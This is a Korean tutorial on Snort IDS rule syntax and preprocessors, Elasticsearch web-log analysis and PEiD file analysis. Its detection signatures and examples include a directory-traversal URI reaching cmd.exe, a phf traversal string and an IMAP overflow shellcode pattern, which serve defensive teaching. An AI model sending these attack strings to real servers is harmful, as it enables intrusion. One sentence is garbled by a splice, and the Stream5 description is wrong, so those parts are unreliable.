포트 변수의 경우 portvar 변수로 지정해 선언 할 수 있다. IP변수나 포트변수로 var 형식으로 선언은 이후에 지원되지 않을 수 있다. 포트로 선언하는 변수의 경우 네이밍 방식을 ‘_PORT’ 또는 ‘PORT_’ 형식으로 작성한다. 이번에 살펴볼 예제도 앞선 IP변수 선언과 마찬가지로 포트 선언 시 발생할 수 있는 선언 오류 예제이다. 변수 선언 시 오류가 발생하지 않도록 주의하자.

정상 선언
portvar EXAMPLE1 80
var EXAMPLE2_PORT [80:90]
var PORT_EXAMPLE2 [1]
portvar EXAMPLE3 any
portvar EXAMPLE4 [!70:90]
portvar EXAMPLE5 [80,91:95,100:200]
alert tcp any $EXAMPLE1 -> any $EXAMPLE2_PORT (msg:”Example”; sid:1;)
alert tcp any $PORT_EXAMPLE2 -> any any (msg:”Example”; sid:2;)
alert tcp any 90 -> any [100:1000,9999:20000] (msg:”Example”; sid:3;)

!any 오류
portvar EXAMPLE5 !any
var EXAMPLE5 !any

논리 오류
portvar EXAMPLE6 [80,!80]

포트 범위 오류: 지정된 포트 범위를 초과한 포트 번호를 선언할 수 없다.
portvar EXAMPLE7 [65536]

사용 오류: IP 변수 위치에 포트 변수를 사용할 수 없다.
alert tcp $EXAMPLE1 any -> any any (msg:”Example”; sid:5;)

I룰 헤더를 구성하는 항목을 표는 다음 같다.P와 포트를 변수 선언하는 방법과 오류가 발생되지 않도록 주의해야 할 부분에 대해 살펴 보았다. 이제 패킷에 대해 사전 검수를 하는 전처리기(Preprocessor)에 대해 살펴보자.


 전처리기(Preprocessors)

앞서 전처리기의 역할이 패킷에 대한 사전 검수라고 했다. 이는 anomaly, 즉 비정상 트래픽의 경우 전처리기를 통해 처리 된다는 의미다. 비정상 헤더 구조의 패킷이나 비정상 트래픽을 전처리기에서는 구분 한다. 비정상 헤더 구조나 비정상 트래픽을 구분하기 위해서는 먼저 탐지한 패킷을 분해하는 과정이 필요하다. 이과정은 스노트 디코더를 통해 이뤄지고, 분해과정을 거쳐 전처리기에서는 패킷의 구조와 포함된 플래그 정보, 프로토콜 정보를 이용해 패킷이 갖춰야할 형식이나 프로토콜에 따른 패킷 구조를 해석한다.

출처: https://blog.snort.org/2015/04/snort-inspection-events.html

탐지된 패킷은 헤더와 메타데이터, 페이로드로 구분 된다. 패킷은 스노트 엔진의 전처리기에서 TCP/IP 헤더 정보에 대해 검증을 거치게 된다. 비정상 헤더 구조를 가지고 있거나 조각난(fragmented)패킷은 조합하여 적절성을 검사 하게된다. 이 때 서비스에 따라 관련 프로토콜 정보에 대한 해석도 같이 진행된다. 일련의 전처리기의 패킷 검사가 진행되면, 이후 스노트 분석 엔진에서 시그니처를 이용해 페이로드에 포함된 데이터를 분석해 공격 여부를 결정 한다. 패킷을 침입탐지엔진에서 분석하기 전에 사전 검수 역할을 하는 전처리기를 스노트에서는 커스터마이징도 가능하다. 다음이 설정 파일에서 전처리기에 대해 옵션을 조절할 때 사용하는 설정 방법이다.

preprocessor <name_of_processor>: <configuration_options>

설정 방법에서 알 수 있듯이 전처리기에 따라 옵션을 이용해 설정을 할 수 있다. 스노트에서 제공하는 전처리기 종류는 다음과 같다.

전처리기종류설명
frag2Frag2 전처리기는 조각난 패킷을 재조합 한다. 단편화된 패킷을 이용한 공격을 탐지하기 위해 사용 된다. 기본 설정은 60초 timeout이며 조각난 패킷을 조합하기 위해 4MB까지 버퍼를 사용한다.
frag3frag3 전처리기는 Target-based로 조각난 패킷을 재조합 한다.
Stream5전송 데이터를 끊김 없이 지속적으로 처리하는 기술, 주로 동영상이나 오디오 데이터에서 모든 데이터를 수신하기 전에 전송과 동시에 데이터의 표현을 실행할 수 있다.
sfPortscan소스파이어에서 개발한 모듈로 사전 공격 단계에 대해 탐지하는 모듈이다. 역할은 비정상 상황에 대해 탐지하는 것이다. 정상 통신이 아닌 정보를 수집하려 할 때는 사용하지 않는 포트 요청이나 IP요청이 자주 발생될 것이다. 예를 들어 정상 통신의 경우 오픈 또는 사용중인 포트나 IP로 통신이 많지, 사용하지 않는 IP또는 포트와 통신은 거의 드물다. 그래서 사용하지 않는 포트에 대해 요청이 많이 발생될 경우 비정상으로 인식을 하는 것이다. 다음은 몇 가지 비정상 상황에 대한 정의다.​• 단일 소스에서 단일 목적지로 다수의 포트를 스캔, one->one portscans주요 공격 유형 TCP Portscan, UDP Portscan, IP Portscan• 조작된(Spoofed) 소스에서 단일 목적 시스템 스캔 TCP Decoy Portscan, UDP Decoy Portscan, IP Decoy Portscan• 다수의 소스에서 단일 목적 시스템 스캔, many->one portscansTCP Distributed Portscan, UDP Distributed Portscan, IP Distributed Portscan
RPC DecodeRemote Procedure Call(RPC)는 한 프로그램이 네트웍 상의 다른 컴퓨터에 위치하고 있는 프로그램에 서비스를 요청하는데 사용되는 프로토콜이다. RPC Decode 전처리기는 는 여러 개로 단편화된 RPC 레코드를 하나의 RPC레코드로 재조합 한다. 111, 32771 포트로 통신하는 패킷에 대해 처리 한다.
Performance Monitor스노트 성능 모니터 전처리기• Attribute Table Reloads (Target Based)• Mbits/Sec (Snort)• Mbits/Sec (sniffing)• Mbits/Sec (combined)• KPkts/Sec (Snort)• KPkts/Sec (sniffing)• KPkts/Sec (combined)
HTTP InspectHTTP 통신에 대해 서버의 응답과 클라이언트의 요청을 스노트 분석 엔진에서 처리 하기 전에 normalize fields(정규화), decode를 담당한다. 추가로 각 필드에 대해서도 검색한다. 패킷 단위로 HTTP 필드를 처리하기 때문에 재조합 되지 않은 패킷을 처리하지 못한다. 재조합은 다른 모듈에 의지한다.• Decode 옵션ascii <yes|no>아스키 디코드 옵션utf 8 <yes|no>utf-8 디코드 옵션base36 <yes|no>base36 인코딩 문자의 디코드 옵션
SMTPSMTP command와 data header, body를 구분한다. ‘RCPT TO:’, ‘MAIL FROM:’ 은 SMTP 명령어 이다. Preprocessor 옵션 조절 시 해당 항목은 RCPT, MAIL로 참조 된다.
FTP/Telnet• FTP/Telnet 데이터 디코드• FTP 명령과 응답 구분• Telnet 필드 정규화
SSH탐지 가능한 공격 • Challenge-Response Overflow, CRC 32 attacks(20kb를 넘는 페이로드 전송 방식의 공격)• Secure CRT and protocol mismatch
DNS• DNS 응답 디코딩
SSL/TLSSSL Dynamic Preprocessor (SSLPP)에서 SSL과 TLS 통신에 대해 디코딩을 지원한다. 일반적으로 암호화된 트래픽은 성능 이슈와 오탐 소지 때문에 스노트 엔진에서 처리되지 않는다.
ARP SpoofARP 패킷을 디코딩하여 공격을 탐지 한다.
표 스노트 전처리기

출처: https://blog.snort.org/2015/04/snort-inspection-events.html

데이터베이스에 저장한 스노트 탐지 내역을 쿼리하고 분석할 수 있도록 웹 인터페이스를 제공하는 공개용 분석툴이 몇 가지 있다. 이중 Basic Analysis and Security Engine(BASE) 프로젝트는 Kevin Johnson이 프로젝트를 이끌고 있고, Analysis Console for Intrusion Databases(ACID) 코드를 기초로한 프로젝트 이다. ACID는 PHP기반의 다양한 종류의 침입탐지시스템, 방화벽, 네트워크 모니터툴의 이벤트 데이터베이스를 분석하고 검색할 수 있는 엔진으로 Query-builder and search interface, Packet viewer (decoder), Alert management, Chart and statistics generation 기능을 제공 한다.

https://github.com/NathanGibbs3/BASE

그림 Basic Analysis and Security Engine(BASE)

 스노트 시그니처

스노트 시그니처를 크게 2가지로 구분된다. 헤더 부분과 바디부분으로 나뉜다. 간단한 스노트 시그니처를 하나 살펴 보자. 예제로 살펴볼 시그니처는 HTTP_GET라는 이름의 스노트 시그니처다. 패킷의 데이터부분(페이로드)에서 GET이라는 문자열을 검색하여 탐지 하는 시그니처다.

alert tcp any any -> 10.10.10.0/24 80 (msg:”HTTP_GET”; content:”GET”)

해당 시그니처는 다음과 같이 헤더와 바디로 나눌 수 있다.

Header “alert tcp any any -> 10.10.10.0/24 80”Body “(msg:”HTTP_GET”; content:”GET”)”

헤더부분은 IP정보와 프로토콜 정보로 이뤄지고, 바디부분에 탐지 패턴과 규칙과 관련된 정보로 이뤄진다. 그럼 헤더부분과 바디부분에 어떤 항목이 있는지 자세히 살펴보자.

룰 헤더를 구성하는 항목을 표는 다음 같다.

항목설명
Rule Actions해당 Rule에 패킷이 탐지 되었을 때 취하는 액션으로 총 8가지로 대응 한다.
ProtocolsTCP, UDP, ICMP, IP 등의 통신 프로토콜을 지정
IP Addresses출발지, 도착지 IP 주소를 지정단일 IP와 CIDR block, IP 리스트로 지정할 수 있다.
Port Numbers출발지, 도착지 Port 주소를 지정단일 Port와 범위, Port 리스트로 지정할 수 있다.
The Direction Operator->, <>!주의, <- 방향 지시자는 없음
Activate/Dynamic Rules룰 액션에서 activate, dynamic 지시에 따라 룰의 활성여부가 변동, 한 쌍으로 만든다.
표 룰 헤더 구문

헤더를 구성하는 각각의 항목은 실제 예제를 통해 살펴보자. 앞서 예제로 살펴본 스노트 시그니처의 헤더부분을 항목별로 구분해보자. 헤더의 정보를 해석해 보면 탐지된 패킷 중 프로토콜이 TCP인 패킷에 대해 검사를 하고, 출발지 IP와 포트는 별도로 지정하지 않았기 때문에 모든 출발지 IP와 포트가 해당된다. 도착지 IP와 포트는 10.10.10.0/24 대역에 80번 포트로 접속하는 패킷을 구분해서 분석 하겠다는의미가 된다. 이때 조건에 매치가 되면 스노트 엔진에서는 Alert이라는 액션을 취하겠다는 시그니처 설정을 의미한다.

액션프로토콜출발지도착지방향성
alerttcpany any0.10.10.0/24 80->
표 룰 헤더 예제

액션 항목은 Alert을 포함해 총 8가지의 액션 옵션이 있다. 모두 스노트 엔진에서 취하는 액션을 의미한다.

룰 액션
alert – 정해진 방식에 따라 Alert을 발생 시키로, 패킷을 기록한다.
log – 패킷을 기록한다.
pass – 탐지된 패킷을 무시한다.
activate – Alert을 발생 시키고, 다이나믹룰을 활성화 시킨다.
dynamic – 4번 액티브 룰에 의해 일정시간 동안 활성화되면 2번 로그 액션과 동일한 액션을 취한다.
drop – iptable을 이용해 패킷을 드랍하고 패킷을 기록한다.
reject – iptable을 이용해 패킷을 드랍하고 패킷을 기록하고, TCP reset 패킷을 출발지로전송하거나 ICMP 패킷의 경우 unreachable 메시지를 반송한다.
sdrop – iptable을 이용해 패킷을 드랍하지만 로깅을 하지 않는다.
표 스노트 룰 액션

대부분의 시그니처의 액션이 Alert을 사용하고, activate 옵션과 dynamic 옵션은 잘 사용하지 않지만 사용은 다음과 같이 사용 가능 하다.

특정 BoF공격이 발생된 후에 다이나믹 룰이 활성화 되면 50개의 패킷을 로깅한다.
공격이 성공했을 때 이후에 발생된 행위에 대해 분석하기 위한 자료로 사용한다.
activate tcp !$HOME_NET any -> $HOME_NET 143 (flags: PA; content: “|E8C0FFFFFF|/bin”; activates: 1; msg: “IMAP buffer overflow!”;)
dynamic tcp !$HOME_NET any -> $HOME_NET 143 (activated_by: 1; count: 50;)

통신 프로토콜은 TCP, UDP, ICMP, IP 4개의 프로토콜을 지원한다.

출발지와 도착지에 대한 범위를 제한하기 위해 출발지/도착지 항목에 IP나, 포트정보를 입력하게 된다. 일반적으로 출발지 정보는 공격자의 IP를 알지 못하는 경우가 대부분이기 때문에 any로 지정하는 경우가 대부분이다.
다음은 IP/포트 정보를 선언하는 몇가지 예제로 참고하기 바란다.

탐지 범위 선언 스노트 형식
IP 대역alert tcp !192.168.1.0/24 any -> 192.168.1.0/24 111 (content: “|00 01 86 a5|”; msg: “external mountd access”;)
alert tcp ![192.168.1.0/24,10.1.1.0/24] any -> [192.168.1.0/24,10.1.1.0/24] 111 (content: “|00 01 86 a5|”; msg: “external mountd access”;)
PORT 정의any port에서 도착지 ports 1 에서 1024 사이l log udp any any -> 192.168.1.0/24 1:1024
any port에서 도착지 port 6000 이하l log tcp any any -> 192.168.1.0/24 :6000
예약된 포트인 1024이하에서 도착지 port 500 이상l log tcp any :1024 -> 192.168.1.0/24 500:
도착지 port가 6000~6010이 아닌 portl log tcp any any -> 192.168.1.0/24 !6000:6010
표 스노트 룰 선언

헤더 구문의 경우 크게 복잡한 항목이 없기 때문에 여러분도 쉽게 이해하고 사용할 수 있다.

스노트 탐지 시그니처는 헤더부분만 선언 해도 사용하는데 오류는 없다. 하지만 헤더 정보 만으로는 위협을 정교하게 탐지하기 어렵기 때문에 상세 패턴을 적용해 탐지 시그니처를 생성한다.

 시그니처 바디 구성

정교한 시그니처를 만들기 위해 제공되는 옵션을 살펴 보자. 각 항목별 자세한 설명은 표를 참조하자. 바디에서 제공되는 옵션은 시그니처 특성이나 형식 정보를 나타내는 옵션과 페이로드에서 공격 패턴을 찾기 위해 사용되는 옵션이 있다. 다음 표는 형식 옵션 항목 이다.

항목설명
msg메시지 옵션에 기록된 내용이 로그와 Alert발생 시 이름으로 사용된다.<형식>msg: “<message text>”;
reference룰과 관련된 외부 취약점 정보를 참고 시 사용한다.Bugtraq http://www.securityfocus.com/bid/Cve http://cve.mitre.org/cgi-bin/cvename.cgi?name=Nessus http://cgi.nessus.org/plugins/dump.php3?id=Arachnids (currently down) http://www.whitehats.com/info/IDSMcafee http://vil.nai.com/vil/dispVirus.asp?virus k=url http://reference에 포함된 데이터는 관련 데이터를 이용해 사이트로 연결 된다.reference:nessus,10321​<형식>reference:nessus,10321;
gidgid (generator id)는 특정 룰이 발생했을 때 스노트 엔진의 어느 부분에서 룰을 발생 시켰는지 구분하기 위해 사용한다. gid 1-100은 전처리기와 디코더에서 사전에 할당되어 있다. 실제로 잘 사용하지 않는다.<형식>gid: <generator id>;
sidSid는 스노트 룰의 고유한 시그니처 ID다. 관련해서 사용 범위는 아래와 같다. • <100 Reserved for future use• 100-1,000,000 Rules included with the Snort distribution• >1,000,000 Used for local rules<형식>sid: <snort rules id>;
revRule이 얼마나 많이 수정되었는지 표기 한다. “rev:6;”의 경우 6번 수정되었음을 의미 한다.<형식>rev: <revision integer>;
classtypeClasstype은 룰이 사전에 정의된 공격 형태에 대해 어떤 유형의 공격인지를 분류할 때 사용 한다. 룰에 대해 이벤트 유형을 분류한 것이다. 하지만 classtype을 사용하기 위해서는 snort.conf 파일에 classification 옵션이 설정되어야 한다.<형식>classtype: <class name>;
priority룰의 위험도에 대해 숫자로 표기 한다. Priority 값은 중복 가능 한다.<형식>priority: <priority integer>;
metadatametadata 항목은 룰에 key-value 형식으로 추가 정보를 작성할 때 사용 한다.
KeyDescription ValueFormat
engineIndicate a Shared Library Rule”shared”
SoidShared Library Rule Genrator and SIDgid|sid
ServiceTarget-Based Service Identifier”http”
<형식>metadata: key1 value1;metadata: key1 value1, key2 value2;
표 시그니처 바디 옵션 항목

 페이로드 탐지 옵션

앞서 살펴본 옵션은 일반적인 시그니처 형식 정보를 나타내는 옵션이고, 이번에 살펴볼 옵션 항목은 페이로드에서 공격 패턴을 탐지하기 위해 사용되는 옵션이다.

항목설명
content문자열 기반의 패턴 매치의 스노트 룰에서 가장 핵심 옵션 항목으로 데이터 페이로그 값에서 원하는 문자열을 탐지 하기 위해 사용하는 옵션이 content 항목 이다.문자열 앞에 “!”을 사용할 경우 reverse개념으로 사용할 수 있다. ; \ “ 3개 캐릭터의 경우 구문 오류를 발생 시킬 수 있다. 반드시 이스케이 처리를 해야 한다.<형식>content: [!] “<content string>”;<example>alert tcp any any -> any 139 (content:”|5c 00|P|00|I|00|P|00|E|00 5c|”;)alert tcp any any -> any 80 (content:!”GET”;) GET문자를 포함하지 않는 TCP 80 트랙픽을 탐지 한다.
nocase대소문자를 구분할 경우 ‘A’탐지 패턴은 ‘a’ 패킷을 탐지할 수 없게 된다. 대소문자를 구분하지 않게 하려면 nocase 옵션을 사용 한다.<형식>nocase;
rawbytes탐지된 패킷 내용 데이터를 원시 데이터로 유지하여 비교한다. 앞서 살펴본 전처리기에선 일부 공격 패턴의 경우 엔진에서 정규화 시키기 때문에 패킷 원본과 비교가 필요 할 때 사용하는 옵션 이다.
depth페이로드에서 찾은 내용의 범위를 지정 한다. 10으로 지정하면 페이로드 처음 시작에서 10바이트 안에서 패턴 검색을 한다.불필요한 부분을 건너뛸 수 있어 엔진을 효율적으로 사용할 수 있지만 이벤트 누락이 발생될 수 있으므로 사용 시 주의해야 하는 옵션 이다.depth옵션을 사용하기 위해서는 반드시 content 옵션이 depth옵션 앞에 와야 한다.<형식>depth: <number>;
offset페이로드에서 찾을 내용의 시작 위치를 지정 한다. 10으로 지정하면 페이로드 처음 시작에서 10바이트 떨어진 곳에서부터 패턴 검색을 한다.불필요한 부분을 건너뛸수 있어 엔진을 효율적으로 사용할 수 있지만 이벤트 누락이 발생될 수 있으므로 사용 시 주의해야 하는 옵션 이다.offset옵션을 사용하기 위해서는 반드시 content옵션이 offset옵션 앞에 와야 한다.<형식>offset: <number>;<example>alert tcp any any -> any 80 (content: “cgi-bin/phf”; offset:4; depth:20;)
distance룰 작성 시 이전 항목의 content와 매치되는 부분을 찾으면 distance에서 지정한 byte만큼 떨어진 지점부터 다음 content에 포함된 항목을 페이로드에서 찾는다.content옵션이 distance 옵션 앞에 와야 한다.<형식>distance: <byte count>;<example>alert tcp any any -> any any (content:”ABC”; content: “DEF”; distance:1;)페이로드에서 ABC문자열을 찾으면 distance 1바이트 만큼 떨어진 곳에서부터 DEF 문자열을 찾습니다. (offset의 확장개념)
within룰 작성 시 이전 항목의 content와 매치되는 부분을 찾으면 매치된 부분부터 within에서 지정한 byte 내의 다음 content에 포함된 항목을 페이로드에서 찾는다.content옵션이 within옵션 앞에 와야 한다. (distance옵션과 같이 사용 된다.)<형식>within: <byte count>;<example>alert tcp any any -> any any (content:”ABC”; content: “EFG”; within:10;)
uricontentUricontent 옵션을 사용하면 URI필드에서 핵심적인 부분만을 검색하여 패턴문자열과 검색 한다. 핵심적인 부분의 의미는 NORMALIZED를 통해 일종의 정규화를 거쳐 공격 구문만을 추리는 형태이다.예를 들어 다음과 같이 directory traversal 공격 URI가 탐지 되었을 경우/scripts/..%c0%af../winnt/system32/cmd.exe?/c+ver정규화(normalized)를 거쳐 “/winnt/system32/cmd.exe?/c+ver” 구문을 추출하고, 해당 문자열과 공격패턴을 비교 한다.정규화를 사용하는 옵션이기 때문에 반대 옵션인 rawbytes와 같이 사용할 수 없다.<URI정규화 예제>/cgi-bin/aaaaaaaaaaaaaaaaaaaaaaaaaa/..%252fp%68f?/cgi-bin/phf?<형식>uricontent:[!]<content string>;
urilenURI필드의 사이즈를 옵션으로 사용 한다. 공격 패턴 매치와 비교하고 추가로 탐지한 URI의 길이가 범위에 포함되는지 여부도 비교 한다. 비교 조건으로 크거나, 작거나, 같거나, 특정 범위 4가지 조건이 있다.urilen: 5urilen: < 5urilen: 5<>10<형식>urilen: int<>int;urilen: [<,>] <int>;<example>alert tcp any any -> any 80 (msg:”urilen”; content:”pattern”; urilen:5;)“pattern” 문자열이 포함될 경우 URI길이가 5바이트 인지 추가로 비교
isdataat페이로드의 특정 위치에 데이터가 존재하는지 확인하거나 옵션을 이용해 이전 content 패턴과 매치 후 상대적인 위치에 대해 데이터가 존재하는지 확인 하는 옵션 이다.<형식>isdataat:[!] <int>[,relative];<example>alert tcp any any -> any 111 (content:”PASS”; isdataat:50,relative; content:!”|0a|”; within:10;)111포트로 향하는 패킷에 “PASS” 문자열이 확인되면 50바이트 이후 시점에서 newline의 hex값(0a)을 찾는데 찾은 범위는 50바이트 떨어진 시점에서 10바이트 안에서 찾는다.
pcrePerl 기반의 정규표현식을 사용할 수 있게 하는 옵션 이다.<형식>pcre:[!]”(/<regex>/|m<delim><regex><delim>)[ismxAEGRUBPHMCOIDKYS]”;
표 페이로드 탐지 옵션

페이로드에서 시그니처를 탐지하기 위해 사용하는 옵션 중 정교한 탐지 패턴을 구현하기 위해 사용하는 옵션이 pcre 옵션이다. content 항목은 단순 문자열 매치 기반이기 때문에 우회 공격이 발생되면 지정된 문자열로 탐지가 불가능해 질 수 있다. 그래서 이렇게 변화 가능한 상황을 가정해 탐지 유연성을 갖도록 pcre 옵션을 사용한다. 탐지 문자열은 정규표현식을 지원한다.

엘라스틱서치(Elasticsearch)를 활용한 웹 로그 분석

SIEM 솔루션 또는 XDR 솔루션은 다양한 로그 수집을 통해 위협을 분석 한다. 실시간 로그 수집을 통해서 보안 위협을 실시간으로 탐지한다. 통합로그분석 솔루션이라고 부르는 해당 제품은 다양한 보안 솔루션 이벤트를 수집하고 단편적으로 식별하기 어려운 보안 위협을 분석 할 수 있다.

많은 기업에서 다양한 보안 제품을 사용한다. 실시간으로 수집되는 보안 이벤트를 사람이 직접 분석하는 것은 불가능에 가까운 일이다. 대규모 IT 인프라 환경에서 보안운영을 위해 XDR 솔루션은 필수로 사용되는 솔루션 이다.

실시간 위협 분석과 함께 침해사고가 발생할 경우 또는 Threat Hunting 활동을 수행하기 위해서 XDR 솔루션을 이용한다. 수많은 보안 제품의 개별 시스템 로그를 분석해 사고 원인을 조사하거나 침입의 흔적을 찾는 것은 많은 리소스가 필요한 작업이다. 효율적인 분석 업무를 위해 XDR 솔루션을 이용해 통합분석을 수행한다.

가트너 정의를 참고 해보면 다양한 상업용 솔루션이 있다는 것을 알 수 있다.

XDR을 활용한 보안 위협 분석 – 웹 로그 분석

보안사고 조사를 수행하고 사고 대응을 수행하는 분석가 입장에서는 단일 인터페이스를 통해 여러 솔루션 로그를 검색하고 상관 관계를 분석할 수 있기 때문에 효율적인 사고조사를 수행할 수 있다. XDR 솔루션의 경우 대용량의 로그를 보관하고 있기 때문에 사고분석에 필요한 로그 분석에 많이 사용 된다. 시스템 정보를 수집하고 보관하여 침해사고 조사 시 시스템 유실로 인한 사고 조사 영향을 최소화할 수 있다.

사고 분석을 위해 오픈소스 제품을 이용 공격 경로를 분석하는 방법을 살펴 본다. 사용할 제품 설치 과정을 엘라스틱 공식 웹 사이트를 통해서 확인 할 수 있다. 

https://www.elastic.co/kr/downloads/elasticsearch

lastic을 이용해 로그 수집과 분석을 위해서 가장 많이 구성하는 방식은 엘라스틱 엔진과 로그 분석을 위한 로그스태쉬, 시각화를 위해 사용하는 키바나 조합 이다. 흔히 ELK (Elastic /Logstash/Kibana)라고 부른다.

https://www.elastic.co/guide/en/logstash/current/deploying-and-scaling.html

그림 ELK 구성

설치 방법은 공식 사이트에서 운영 체제에 맞춰 설치 파일을 다운로드하고 설치 가이드에 따라 설치할 수 있다. 엘라스틱과 키바나 설치를 완료하고 로그인에 성공하면 로그 분석을 수행 할 수 있다. 로그를 연동하고 상관 분석 룰을 이용해 보안 위협을 탐지하는 기능은 무료로 사용할 수 있다. 수집된 로그를 머신 러닝을 이용하거나 대용량으로 클러스터 구성을 하는 경우에는 유료 기능을 이용해야 한다.

그림 로그인 화면

설치를 완료하면 간단한 로그 분석 실습을 수행한다. 최근 ChatGPT를 보안 업무에 활용하는 시도가 많이 이뤄진다. 로그를 재현하는 과정을 예를 들어 본다. 취약한 로그를 재현하기 위해서 가상 머신에 시스템을 구축해서 관련 로그를 추출해야 했다. 이 작업을 ChartGPT를 이용해서 엘라스틱에서 분석에 사용할 공격 로그 샘플을 확보해 보자.

그림 ChatGPT 샘플로그 활용

ChatGPT 질의 ‘엘라스틱서치 분석용 웹로그 샘플 IIS 해킹 로그 샘플’

아래는 IIS (인터넷 정보 서비스) 서버에서 발생한 해킹 시도에 대한 웹 로그 샘플입니다. 이 샘플은 일반적인 해킹 시도 패턴을 보여주기 위한 예시입니다.2023-06-24 10:15:32 192.168.0.100 GET /wp-admin/ – 80 – 203.0.113.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/90.0.4430.212+Safari/537.36 – 404 404 0 152023-06-24 10:17:21 192.168.0.100 GET /login.php – 80 – 203.0.113.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/90.0.4430.212+Safari/537.36 – 404 404 0 212023-06-24 10:18:09 192.168.0.100 GET /administrator/ – 80 – 203.0.113.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/90.0.4430.212+Safari/537.36 – 404 404 0 142023-06-24 10:19:45 192.168.0.100 GET /phpMyAdmin/ – 80 – 203.0.113.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/90.0.4430.212+Safari/537.36 – 404 404 0 192023-06-24 10:21:10 192.168.0.100 GET /wp-login.php – 80 – 203.0.113.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/90.0.4430.212+Safari/537.36 – 404 404 0 162023-06-24 10:22:37 192.168.0.100 GET /dbadmin/ – 80 – 203.0.113.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/90.0.4430.212+Safari/537.36 – 404 404 0 15위 로그 샘플에서 다음 정보를 확인할 수 있습니다:2023-06-24 10:15:32: 로그가 기록된 날짜와 시간.192.168.0.100: 로그가 발생한 서버의 IP 주소.GET: HTTP 요청 메서드./wp-admin/, /login.php, /administrator/, /phpMyAdmin/, /wp-login.php, /dbadmin/: 해커가 접근을 시도한 경로.80: 사용된 포트 번호.203.0.113.1: 해커의 IP 주소.Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/90.0.4430.212+Safari/537.36: 해커의 사용자 에이전트(User-Agent).404: 응답 상태 코드 (파일을 찾을 수 없음).404 404 0 15: 응답 크기 및 응답 시간 등의 추가 정보.이 로그에서는 해커가 일반적인 관리자 경로(/wp-admin/, /administrator/)와 데이터베이스 관리 도구(/phpMyAdmin/, /dbadmin/) 등에 접근을 시도한 것을 확인할 수 있습니다. HTTP 응답 상태 코드가 404인 경우, 서버는 해당 경로에 대한 리소스를 찾을 수 없음을 나타냅니다.

다운받은 샘플 로그를 엘라스틱서치에 추가해서 분석가가 사고 원인 분석을 위해 확인하는 항목을 살펴 볼수 있다. 자세한 과정은 영상을 참고할 수 있다.

분석가가 사용하는 도구 – XDR (엘라스틱)

샘플로 다운받은 공격 로그는 웹 사이트의 관리 페이지에 대한 접근 시도 공격 이다. 무작위 스캔성 공격 시도 시 접근 경로가 로그에 남기 때문에 공격자가 접근한 URL과 공격 성공 여부를 분석해야 한다. 이 경우 분석가는 공격 시 접근한 경로가 저장되는 필드를 선택해서 분석 한다.

로그를 분석하는 사례를 매우 많다. 공격 유형에 따라 수집할 로그 종류가 다르고 분석가가 주목해야할 필드 정보도 다르다. 엘라스틱을 이용해서 사고 대응 시 로그 분석 과정을 간단하게 살펴 보았다.

분석가가 사용하는 파일 분석 도구

간편하게 파일 분석이 가능한 프로그램을 살펴 보자. 올리디버거를 이용한 파일 분석 방법은 책 한권 분량이 나올 만큼 양이 방대하다. 이미 올리디버거를 이용해 정적으로 악성코드나 파일을 분석하는 좋은 책들이 많이 있기 때문에 관련 내용을 참고하기 바랍니다.

침해사고분석 과정에서 악성코드로 의심되는 파일이 확보되면 해당 파일의 기능 분석을 수행한다. 수집된 악성코드를 별도의 분석 시스템으로 옮겨와서 분석할 수 있지만 경우에 따라서는 부득이 분석 대상 시스템에서 악성코드 분석을 수행하기도 한다. 시스템에 영향을 최소화 하고 악성코드로 의심되는 파일을 분석하는데 많이 사용되는 분석도구가 PEiD이다.

PEiD 프로그램은 정적으로 파일을 분석하는데 사용되고 실행파일의 API, 문자열 정보, 실행압축정보 등을 확인하는데 사용한다. 대표적인 기능과 함께 실제 PE헤더 파일을 분석해보자.

그림 PEiD

악성코드 샘플을 분석하는 것도 의미가 있지만 샘플을 구하기 어려운 경우 윈도우 시스템에 “cmd.exe” 파일을 분석해보는 것으로도 기능 파악에 도움이 된다.

분석할 PE파일을 불러 온다.

그림 PEiD 주요기능

문자열 검색

파일 디버깅을 통해서 파일에 포함된 식별 가능한 문자열 검색을 수행할 수 있다.

일부 악성코드의 경우 하드코딩 형식으로 마스터 서버에 접속할 IP정보를 PE파일안에 넣어 두기도 한다. 이 경우 악성코드가 어떤 IP로 접속하는지 혹은 어떤 프로그램인지 확인할 수 있다.

API 확인

실행 파일에서 사용되는 API를 통해서 대략적인 프로그램이 수행하는 행위에 대해 추측이 가능하다. 정확한 분석을 위해서는 디버깅 프로그램을 이용해 분석이 필요하겠지만, API를 확인하는 것으로 침해사고 분석에 필요한 정보를 확보할 수 있다.

그림 PEiD주요기능-API점검

PEiD는 현재는 업데이트가 중단되었다. 대체 도구는 아래 사이트를 참고해 필요한 목적에 맞게 사용할 수 있다.

도구 이름특징장점플랫폼
Detect It Easy (DIE)PEiD의 최신 대안, GUI 제공다양한 포맷 지원 (PE, ELF, Mach-O 등), 스크립팅 가능, 지속적인 업데이트Windows, Linux, macOS
Exeinfo PEPE 파일 분석 및 패커 탐지정확한 패커 탐지율, 아이콘/리소스 분석, 내부 오프셋 표시Windows
RDG Packer Detector패커, 크립터, 프로텍터 탐지광범위한 패커 DB, 다양한 탐지 옵션Windows
CFF ExplorerPE 파일 편집/분석PE 헤더 편집 가능, 다양한 플러그인 지원Windows
PEStudio정적 분석 도구디지털 서명, API 호출, 의심 정보 자동 표시Windows
PackerID명령줄 기반 분석 도구스크립팅 자동화에 유리Windows, Linux

분석가가 사용하는 패킷 분석 도구

효율적으로 침해사고 분석 업무를 수행하기 위해서 필요한 분석 도구를 살펴보자. 분석도구란 분석에 필요한 정보를 해석하고, 분석가가 쉽게 필요한 정보를 볼 수 있도록 도와주는 도구다. 이러한 분석 도구는 크게 네트워크 패킷 분석 도구와 로그 분석, 파일 분석 도구로 나눌 수 있다.

